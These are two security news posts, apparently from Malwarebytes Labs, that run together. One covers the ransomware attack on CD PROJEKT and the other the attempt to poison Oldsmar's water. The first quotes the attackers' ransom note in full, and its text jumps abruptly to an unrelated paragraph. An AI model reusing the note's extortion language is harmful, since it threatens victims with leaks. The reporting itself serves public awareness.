An unidentified actor gained unauthorized access to our internal network, collected certain data belonging to CD PROJEKT capital group, and left a ransom note the content of which we release to the public. Although some devices in our network have been encrypted, our backups remain intact. We have already secured our IT infrastructure and begun restoring the data.

We will not give in to the demands nor negotiate with the actor, being aware that this may eventually lead to the release of the compromised data. We are taking necessary steps to mitigate the consequences of such a release, in particular by approaching any parties that may be affected due to the breach.

We are still investigating the incident, however at this time we can confirm that—to our best knowledge—the compromised systems did not contain any personal data of our players or users of our services.

We have already approached the relevant authorities, including law enforcement and the President of the Personal Data Protection Office, as well as IT forensice specialists, and we will closely cooperate with them in order to investigate this incident.

The full text of the ransomware note left by the threat actors reads:

@
!!!!!!!!!!!!!!!!!! Hello CD PROJEKT !!!!!!!!!!!!!!!!!!

You have been EPICALLY pwned!!

We have dumped FULL copies of the source codes from your Perforce server for Cyberpunk 2077, Witcher 3, Gwent and the unreleased version of Witcher 3!!!

Also, we have encrypted all of your servers, but we understand that you can most likely recover from backups.

If we will not come to an agreement, then your source coded will be sold or leaked online and your documents will be sent to our contacts in gaming journalism. Your public image will go down the shitter even more and people will see how you shitty your company functions. Investors will lose trust in your company and the stock will dive even lower!

You have 48 hours to contact us.

Challenges associated with Cyberpunk 2077’s release did not hinder it from becoming one of the most well-known name in the video gaming industry to date. And this popularity alone is a reason for cyber criminals to start banking on the brand.

And they have.

More than a week after the game’s official release on the PlayStation 4, Stadia, Windows, and Xbox One, cybercriminals were caught mimicking a mobile version of Cyberpunk 2077—something that really doesn’t exist. According to Tatyana Shishkova, a researcher from Kaspersky, the purported mobile game is ransomware.

Just yesterday, CD PROJEKT RED released a Cyberpunk 2077 hotfix for a flaw that allows any third-party to modify data and save game files.

The post Cyberpunk 2077 developer hit by ransomware appeared first on Malwarebytes Labs.

The FBI, the Secret Service, and the Pinellas County Sheriff’s Office are currently investigating an attempted poisoning of a city by an individual or group of hackers that occurred Friday last week. If it hadn’t been caught in time, at least 15,000 people could have been affected.

In a Monday press conference, Pinellas County Sheriff Bob Gualtieri revealed details of this attack to the press.

“On Friday morning, of about 8 o’clock, a plant operator at the Oldsmar water treatment facility noticed that someone remotely accessed the computer system that he was monitoring,” Sheriff Gualtieri said. This was, apparently, the first unauthorized attempt to remotely access the system. The connection was brief, so the operator didn’t think much of it as his supervisor and other colleagues would also randomly log in to the computer he’s monitoring.

It seems the attacker had gained access to TeamViewer, a remote desktop application used by the plant’s operators to access the water facility’s computer system.

“…about 1:30 (PM), when someone again remotely accessed the computer system and it showed up on the operator screen with the mouse being moved about to open various software functions that control the water being treated in the system. The person remotely accessed the system for about 3 to 5 minutes opening various functions on the screen. One of the functions opened by the person hacking into the system was one that controls the amount sodium hydroxide in the water.”

Sodium hydroxide, also known as caustic soda or lye, is used to treat acidity in water by raising its pH levels and removing heavy metals. Too much lye in water could cause skin burns and rashes—something residents in a small town in Massachusetts had experienced when they had a water supply treatment problem back in 2007.

Sheriff Gualtieri continues, “The hacker changed the sodium hydroxide from about 100 parts per million to 11,100 parts per million. This is obviously a significant and potentially dangerous increase.”

After the attacker left the system, the operator quickly reduced the lye concentration level back to 100 parts per million.

Thankfully, this short adjustment by the hacker didn’t deal any adverse effect on the the water being treated. No lye reached homes, thus no one was ever in danger. Moreover, the water treatment plant have redundancies in place, so if anyone missed this adjustment, the system would have caught the change in the pH levels in the water.

As of this writing, the Pinellas County Sheriff’s office don’t have a suspect but are following leads.

Attacks on vital infrastructure are among the “worst case scenario” cyberattacks that every professional in the industry fears. “Stuxnex”, a malware weapon designed to damage Iran’s nuclear centrifuges has become the poster child of such attacks.

However, there is no indication that this was a terrorist attack, or even that it was an attack targeted at the Oldsmar facility specifically. It may simply have been an act of vandalism. Internet-connected Industrial Control Systems (ICS) are not difficult to find.

Thankfully, this attack was not successful, but it is a timely reminder that the first priority for security often isn’t the zero-day busting, APT-stopping sort of work, but unglamorous grunt work like air-gapping, patching, enforcing strong passwords and 2FA, and taking inventory.

“The important thing is to put everyone on notice,” Oldsmar Mayor Eric Seidel said, “These kinds of bad actors are out there. It’s happening. So really take a hard look at what you have in place.”

The post Hackers try to poison Florida City’s drinking water appeared first on Malwarebytes Labs.